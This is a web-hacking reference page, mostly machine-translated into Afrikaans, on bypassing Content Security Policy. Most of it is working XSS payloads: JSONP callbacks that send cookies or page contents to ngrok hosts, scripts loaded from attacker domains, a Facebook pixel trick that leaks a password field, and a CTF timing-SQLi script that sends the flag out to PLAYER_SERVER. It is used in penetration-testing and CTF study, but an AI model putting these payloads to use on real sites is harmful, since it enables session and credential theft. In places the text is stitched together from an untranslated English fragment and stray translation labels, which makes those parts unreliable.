Content Security Policy (CSP) Bypass

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hakinsigte Raak betrokke by inhoud wat die opwinding en uitdagings van hak bevat

Haknuus in Werklikheid Bly op hoogte van die snelveranderende hakwêreld deur werklikheidsnuus en insigte

Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Wat is CSP

Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos kruissite-skripsing (XSS). Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word gedoen deur responskoppe of deur die insluiting van meta-elemente in die HTML-bladsy. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.

  • Geïmplementeer via responskop:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
  • Geïmplementeer via meta-tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Opwarmers

CSP kan afgedwing of gemonitor word met hierdie opwarmers:

  • Content-Security-Policy: Dwings die CSP af; die blaaier blokkeer enige oortredings.

  • Content-Security-Policy-Report-Only: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.

Definiëring van Hulpbronne

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval() beheer. 'n Voorbeeldbeleid is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Riglyne

  • script-src: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.

  • default-src: Stel 'n verstekbeleid in vir die ophaal van hulpbronne wanneer spesifieke ophaalriglyne afwesig is.

  • child-src: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.

  • connect-src: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.

  • frame-src: Beperk URL's vir rame.

  • frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.

  • img-src: Definieer toegelate bronne vir afbeeldings.

  • font-src: Spesifiseer geldige bronne vir lettertipes wat gelaai word met @font-face.

  • manifest-src: Definieer toegelate bronne van aansoek-manifeslêers.

  • media-src: Definieer toegelate bronne vir die laai van media-voorwerpe.

  • object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.

  • base-uri: Spesifiseer toegelate URL's vir die laai met behulp van <base> elemente.

  • form-action: Lys geldige eindpunte vir vormindienings.

  • plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.

  • upgrade-insecure-requests: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.

  • sandbox: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n <iframe>.

  • report-to: Spesifiseer 'n groep aan wie 'n verslag gestuur sal word as die beleid oortree word.

  • worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker-skripte.

  • prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorafgelaai sal word.

  • navigate-to: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)

Bronne

  • *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.

  • 'self': Laat laai vanaf dieselfde domein toe.

  • 'data': Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-gekodeerde afbeeldings).

  • 'none': Blokkeer laai vanaf enige bron.

  • 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.

  • 'unsafe-hashes': Stel spesifieke inline gebeurtenishanteerders in staat.

  • 'unsafe-inline': Laat die gebruik van inline hulpbronne soos inline <script> of <style> toe, nie aanbeveel vir veiligheidsredes nie.

  • 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.

  • As jy JS-beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan her te gebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, dus is dit nie nodig nie), soos in:

Laai skrip deur nonce her te gebruik

```html ```

  • 'sha256-<hash>': Witlys skripte met 'n spesifieke sha256-hash.

  • 'strict-dynamic': Laat skripte van enige bron laai as dit deur 'n nonce of hash op die witlys geplaas is.

  • 'host': Spesifiseer 'n spesifieke gasheer, soos example.com.

  • https:: Beperk URL's tot dié wat HTTPS gebruik.

  • blob:: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv., Blob-URL's wat deur JavaScript geskep is).

  • filesystem:: Laat toe dat hulpbronne vanaf die lêersisteem gelaai word.

  • 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).

  • 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).

  • 'strict-origin-when-cross-origin': Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.

  • 'unsafe-allow-redirects': Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.

Onveilige CSP-reëls

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

pageCSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Dit werk nie, vir meer inligting kyk hierdie.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkende lading:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

streng-dinamies

As jy op een of ander manier kan bewerkstellig dat toegelate JS-kode 'n nuwe skriptiket in die DOM met jou JS-kode skep, sal die nuwe skriptiket toegelaat word om uitgevoer te word omdat 'n toegelate skrip dit skep.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkende lading:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

Dit lyk of dit nie meer werk nie

Content-Security-Policy: script-src 'self' ;

Werkende lading:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêeroplaai + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkende lading:

"/>'><script src="/uploads/picture.png.js"></script>

Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer valideer en sal slegs toelaat dat jy 'n bepaalde tipe lêers oplaai.

Selfs al sou jy 'n JS-kode binne 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die MIME-tipe van die lêer kies op grond van die uitbreiding en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave uitbreiding nie, daarom bedien dit dit nie met 'n MIME-tipe soos audio/* nie.

Vanaf hier, as jy 'n XSS vind en 'n lêeroplaai, en jy slaag daarin om 'n verkeerd geïnterpreteerde uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott (enkele poliglott-voorbeelde hier).

Vorm-aksie

Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfiltreer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src nie vormaksies dek nie.

Derdeparty-eindpunte + ('unsafe-eval')

Vir sommige van die volgende lading is unsafe-eval selfs nie nodig nie.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Ladingstukke wat Angular + 'n biblioteek met funksies wat die window-objek teruggee, gebruik (kyk na hierdie pos):

Die pos toon dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS-biblioteek-repo) kon laai, al die bygevoegde funksies van elke biblioteek kon uitvoer, en nagaan watter funksies van watter biblioteke die window-objek teruggee.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS vanaf 'n klasnaam:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van Google reCAPTCHA JS-kode

Volgens hierdie CTF-verslag kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer payloads van hierdie skryfstuk:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Misbruik van www.google.com vir oop omleiding

Die volgende URL rig na example.com (van hier):

https://www.google.com/amp/s/example.com/

Derde Party Eindpunte + JSONP

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit gedoen word in hierdie verslag.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Afrikaans Translation

Scenarios soos hierdie waar script-src ingestel is op self en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.

Dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Oop Aanstuur bevat omdat as die oorspronklike eindpunt vertrou word, is aanstuurders vertrou.

Derde Party Misbruik

Soos beskryf in die volgende pos, is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:

EntiteitToegelate DomeinVermoëns

Facebook

www.facebook.com, *.facebook.com

Uitsif

Hotjar

*.hotjar.com, ask.hotjar.io

Uitsif

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Uitvoer

Amazon CloudFront

*.cloudfront.net

Uitsif, Uitvoer

Amazon AWS

*.amazonaws.com

Uitsif, Uitvoer

Azure Webwerwe

*.azurewebsites.net, *.azurestaticapps.net

Uitsif, Uitvoer

Salesforce Heroku

*.herokuapp.com

Uitsif, Uitvoer

Google Firebase

*.firebaseapp.com

Uitsif, Uitvoer

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kanse goed dat jy die CSP kan omseil deur te registreer op die derde party-diens en óf data na daardie diens uit te sif óf kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

Content Security Policy (CSP) Bypass

CSP Bypass using script-src 'unsafe-inline'

When a website has a Content Security Policy (CSP) that allows 'unsafe-inline' for script-src, it means that inline JavaScript code can be executed on the website. This can be exploited by an attacker to execute arbitrary code on the website by injecting malicious scripts directly into the HTML code.

To bypass this CSP directive, an attacker can inject a <script> tag with the desired JavaScript code directly into the HTML content of the website. This way, the injected script will be executed as if it were part of the original code, bypassing the CSP protection.

CSP Bypass using Data URI

Another way to bypass CSP is by using Data URI. Data URIs allow embedding small files directly into the HTML or CSS code. An attacker can encode the JavaScript code into a Data URI format and then inject it into the website. Since Data URIs are treated as resources loaded from the same origin, they can bypass CSP restrictions.

To implement this bypass, the attacker needs to craft a Data URI containing the JavaScript payload and then inject it into the website's HTML code. This payload will be executed within the context of the website, bypassing the CSP restrictions.

Content-Security-Policy​: connect-src www.facebook.com;​
  1. Skep 'n Facebook-ontwikkelaarsrekening hier.

  2. Skep 'n nuwe "Facebook-aanmelding" -program en kies "Webwerf".

  3. Gaan na "Instellings -> Basies" en kry jou "Program-ID".

  4. Op die teikensite waarvandaan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.

  5. Gaan na jou Program "Gebeurtenisbestuurder" en kies die program wat jy geskep het (let wel dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.

Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening-program-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

Omgang via RPO (Relatiewe Pad Overskrywing)

Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit so omseil word:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die browser sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat vir die browser, laai jy 'n lêer genaamd ..%2fangular%2fangular.js wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

Dus, sal hulle dit ontsluit, effektief versoek https://example.com/scripts/react/../angular/angular.js, wat gelykstaande is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word.

Die oplossing is om %2f nie as / aan die kant van die bediener te hanteer nie, om 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS-uitvoering

pageIframes in XSS, CSP and SOP

ontbrekende base-uri

Indien die base-uri riglyn ontbreek kan jy dit misbruik om 'n dangling markup injection uit te voer.

Verder, as die bladsy 'n skrip laai deur 'n relatiewe pad te gebruik (soos <script src="/js/app.js">) deur 'n Nonce te gebruik, kan jy die base tag misbruik om dit te laat laai die skrip vanaf jou eie bediener om 'n XSS te bereik. Indien die kwesbare bladsy met httpS gelaai word, maak gebruik van 'n httpS-url in die basis.

<base href="https://www.attacker.com/">

AngularJS gebeure

'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat verwys na die inheemse blaaier-gebeurtenisobjek. Hierdie $event objek kan uitgebuit word om die CSP te omseil. Merkwaardig, in Chrome, besit die $event/event objek 'n path eienskap, wat 'n objekreeks aanhou wat betrokke is by die gebeurtenis se uitvoerketting, met die window objek onveranderlik aan die einde geplaas. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.

Deur hierdie reeks na die orderBy filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die window objek) benut kan word om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kodesnit hieronder verduidelik hierdie proses:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snipper lig die gebruik van die ng-focus riglyn uit om die gebeurtenis te trigger, deur $event.path|orderBy te gebruik om die path array te manipuleer, en deur die window objek te benut om die alert() funksie uit te voer, en sodoende document.cookie bloot te stel.

Vind ander Angular omleidings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en toegelate domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Werkende lading:

'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie git-opgaarplek.

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP-willekeurige uitvoerpunte kan gevind word in hier (van hulle is verwyder of reggemaak)

Omgang deur middel van Herleiing

Wat gebeur wanneer CSP kantelingskrywing aan die kant van die bediener teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

Tog, volgens die beskrywing in CSP spes 4.2.2.3. Paaie en Herleiings, as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Indien CSP ingestel is op https://www.google.com/a/b/c/d, aangesien die pad oorweeg word, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Nietemin, die finale http://localhost:5555/301 sal op die bedienerkant na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)// omgelei word. Aangesien dit 'n omleiding is, word die pad nie oorweeg nie, en die skrip kan gelaai word, wat dus die padbeperking omseil.

Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.

Omseil CSP met bengelende opmaak

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige bron op die webblad kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Vanaf: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript-kode wat binne 'n afbeelding ingevoeg is te laai. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n spesiale afbeelding skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS-kode uit te voer (soos 'n gewone XSS) wat die afbeelding sal laai, die JS daaruit sal onttrek en dit sal uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers se importScripts-funksie word nie deur CSP beperk nie:

pageAbusing Service Workers

Beleidsinspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit nutteloos maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn bestaande script-src riglyne sal owerwrite. Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Rand

In Rand is dit baie eenvoudiger. As jy net hierdie kan byvoeg in die CSP: ;_ Rand sou die hele beleid laat val. Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tyd aanval

Let op die afwesigheid van die riglyn 'unsafe-inline' Hierdie keer kan jy die slagoffer **'n bladsy in jou beheer laat laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai kan jy die inligting onttrek wat jy nodig het.

Hierdie keer gaan 'n vlag onttrek word, telkens wanneer 'n karakter korrek gegok word via SQLi neem die reaksie langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Boekmerklets

Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en neer te sit. Hierdie boekmerklet sou skadelike javascript-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk na die oorspronklike verslag hier.

CSP omseiling deur CSP te beperk

In hierdie CTF-verslag, word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via prototipe besoedeling of dom clobbering toegelaat het om 'n ander skrip te misbruik om 'n willekeurige skrip te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp eienskap:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In hierdie CTF writeup, was dit moontlik deur HTML inspuiting om meer te beperk 'n CSP sodat 'n skrip wat CSTI voorkom, uitgeskakel is en gevolglik die kwesbaarheid vatbaar geword het vir uitbuiting. CSP kan strenger gemaak word deur HTML meta-tabelle te gebruik en inline-skripte kan uitgeskakel word deur die verwydering van die inskrywing wat hulle nonce toelaat en spesifieke inline-skrip aktiveer via sha:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS uitlekking met Inhoudsbeveiligingsbeleid-Rapport-Slegs

As jy kan slaag om die bediener te laat reageer met die kop Content-Security-Policy-Report-Only met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die JS-inhoud wat jy wil uitlek met <script> omwikkel en omdat dit baie waarskynlik is dat unsafe-inline nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Content-Security-Policy-Report-Only.

Vir 'n voorbeeld kyk na hierdie CTF-verslag.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Inligting wat uitlek met CSP en Iframe

  • 'n iframe word geskep wat na 'n URL wys (laat ons dit https://example.redirect.com noem) wat toegelaat word deur CSP.

  • Hierdie URL verwys dan na 'n geheime URL (byvoorbeeld, https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.

  • Deur te luister na die securitypolicyviolation gebeurtenis, kan mens die blockedURI eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL verwys het, uitlek.

Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes in verband met CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.

